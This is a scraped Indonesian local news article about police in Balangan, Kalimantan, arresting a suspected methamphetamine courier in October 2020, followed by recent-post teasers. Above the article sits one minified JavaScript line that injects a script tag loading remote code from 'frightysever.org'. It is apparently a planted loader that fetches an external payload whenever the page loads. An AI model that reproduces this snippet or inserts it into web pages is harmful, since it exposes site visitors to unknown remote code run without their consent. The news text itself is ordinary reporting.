(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BALANGAN

Melintas di Jalan Desa Lamida Bawah, Kurir Sabu Ditangkap Resnarkoba Polres Balangan


KANALKALIMANTAN.COM, PARINGIN – Seorang kurir sabu berinisial YFP (35), warga Desa Bata RT 002 Kecamatan Juai, Kabupaten Balangan, diamankan jajaran Satres Narkoba Polres Balangan.

Penangkapan dilakukan di jalan Desa Lamida Bawah, Kecamatan Paringin, Kabupaten Balangan, Minggu, (25/10/2020) lalu.

Kapolres Balangan AKBP Nur Khamid melalui Kasat Reserse Narkoba Polres Balangan AKP Manaris Hutapea menerangkan, penangkapan terduga pelaku kurir sabu itu informasinya dari masyarakat bahwa ada seseorang yang membawa narkotika jenis sabu dari Kabupaten Hulu Sungai Utara (HSU) menuju Kabupaten Balangan.

“Berdasarkan informasi itulah kami melakukan penyelidikan. Dari informasi itu juga, pihaknya mendapatkan beberapa data tentang pelaku. Di antaranya perihal kendaraan roda dua yang digunakan pelaku,” ujar AKP Manaris Hutapea, Selasa (27/10/2020).

Tak berselang beberapa hari kemudian, terang Manaris, pelaku melintas di jalan Desa Lamida Bawah. Karena pelaku dianggap sesuai dengan ciri-ciri yang dilaporkan, YFP diberhentikan oleh pihak kepolisian. Setelah diberhentikan, dilakukan upaya penggeledahan badan terhadap pelaku.

Tatkala digeledah ditemukan lima paket serbuk kristal dibungkus dengan plastik klip warna bening yang diduga narkotika jenis sabu, sehingga YFP pun ditangkap.

Benda yang terbungkus plastik warna bening berada di saku celana kanan YFP. Ketika ditanya polisi, YFP mengatakan narkotika jenis sabu itu adalah miliknya. Atas tindakan itu, dia dan barang bukti dibawa ke Mapolres Balangan untuk proses lebih lanjut.

Ditegaskan Manaris, YFP telah dianggap melakukan kasus tindak pidana peredaran gelap narkotika jenis sabu, sebagaimana dimaksud dalam pasal 114 ayat (1) sub pasal 112 Ayat (1) Undang-Undang RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/pr)

 

Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.